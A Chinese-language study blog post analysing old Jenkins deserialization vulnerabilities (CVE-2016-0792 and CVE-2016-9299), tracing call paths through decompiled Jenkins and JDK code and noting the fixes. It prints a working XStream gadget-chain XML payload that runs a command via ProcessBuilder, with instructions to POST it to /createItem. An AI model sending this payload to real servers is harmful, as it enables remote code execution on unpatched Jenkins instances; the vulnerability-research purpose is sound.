前言
Jenkins 历史漏洞学习记录,其二。
CVE-2016-0792
1
| docker pull jenkins:1.642.4
|
漏洞分析
因为已经分析过 xstream 反序列化漏洞了,所以主要看看触发路径,直接用最近 CVE-2020-26217 的 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>touch</string> <string>/tmp/PPPPPPPPPwn</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
|
然后根据报错栈观察代码,createItem 的处理代码在 Jenkins 类中:
1 2 3 4
| @RequirePOST public synchronized TopLevelItem doCreateItem(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { return this.itemGroupMixIn.createTopLevelItem(req, rsp); }
|
当传递的 contents-type 为 xml 时,会进入 createProjectFromXML:
1 2 3 4 5 6 7
| boolean isXmlSubmission = requestContentType != null && (requestContentType.startsWith("application/xml") || requestContentType.startsWith("text/xml")); ... if (isXmlSubmission) { result = this.createProjectFromXML(name, req.getInputStream()); rsp.setStatus(200); return result; }
|
最后来到 Items 类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public static Item load(ItemGroup parent, File dir) throws IOException { Item item = (Item)getConfigFile(dir).read(); item.onLoad(parent, dir.getName()); return item; }
public Object read() throws IOException { if (LOGGER.isLoggable(Level.FINE)) { LOGGER.fine("Reading " + this.file); }
BufferedInputStream in = new BufferedInputStream(new FileInputStream(this.file));
Object var2; try { var2 = this.xs.fromXML(in); } catch (XStreamException var7) { throw new IOException("Unable to read " + this.file, var7); } catch (Error var8) { throw new IOException("Unable to read " + this.file, var8); } finally { in.close(); }
return var2; }
|
由于这里的 Xstream 类没有做安全配置,导致了漏洞。
漏洞利用
修改 HTTP 头,然后将 xml POST 给 /createItem?name=test。
漏洞修复
Xsteam 修改了自身的黑名单,Jenkins 则使用了 Xstream 提供的内部安全策略白名单。
CVE-2016-9299
1
| docker pull jenkins:2.19.2
|
漏洞分析
还是一个反序列化漏洞,绕过方式类同 CVE-2016-0788,同样使用的是类似 JRMP 的二次反序列化方式,同样是通过 JSON 调用某个类的 getter 函数,这里使用的是 LdapAttribute,它有一个 getAttributeSyntaxDefinition 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| private DirContext getBaseCtx() throws NamingException { if (this.baseCtx == null) { if (this.baseCtxEnv == null) { this.baseCtxEnv = new Hashtable(3); }
this.baseCtxEnv.put("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory"); this.baseCtxEnv.put("java.naming.provider.url", this.baseCtxURL); this.baseCtx = new InitialDirContext(this.baseCtxEnv); }
return this.baseCtx; }
public DirContext getAttributeSyntaxDefinition() throws NamingException { DirContext var1 = this.getBaseCtx().getSchema(this.rdn); DirContext var2 = (DirContext)var1.lookup("AttributeDefinition/" + this.getID()); Attribute var3 = var2.getAttributes("").get("SYNTAX"); if (var3 != null && var3.size() != 0) { String var4 = (String)var3.get(); return (DirContext)var1.lookup("SyntaxDefinition/" + var4); } else { throw new NameNotFoundException(this.getID() + "does not have a syntax associated with it"); } }
|
很明显这里可以触发 LDAP 注入,不过该版本 Jenkins 使用的 Java 版本较高,无法通过 Reference 进行 RCE。
接下来关注 getAttributeSyntaxDefinition 函数中调用的 getSchema 函数,通过调试可以发现,最后会调用 LdapBindingEnumeration 类的 createItem 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| protected Binding createItem(String var1, final Attributes var2, Vector<Control> var3) throws NamingException { Object var4 = null; String var5 = this.getAtom(var1); if (var2.get(Obj.JAVA_ATTRIBUTES[2]) != null) { try { var4 = AccessController.doPrivileged(new PrivilegedExceptionAction<Object>() { public Object run() throws NamingException { return Obj.decodeObject(var2); } }, this.acc); } catch (PrivilegedActionException var11) { throw (NamingException)var11.getException(); } } ... }
|
可以看到,这里会调用 Obj.decodeObject 对 LDAP 服务端返回的数据进行反序列化,但是需要满足几个条件,似乎涉及到了 LDAP 协议的 asn1 之类的东西,暂时不感兴趣就不看了。
漏洞利用
详见参考文章。
漏洞修复
jndi 相关的类也被 ban 掉了。
CVE-2018-1000861
摸了,以后有兴趣了再回来看。
参考文章
Jenkins-CVE-2016-0792漏洞利用及修复建议
Jenkins-LDAP (CVE-2016-9299) 反序列化漏洞分析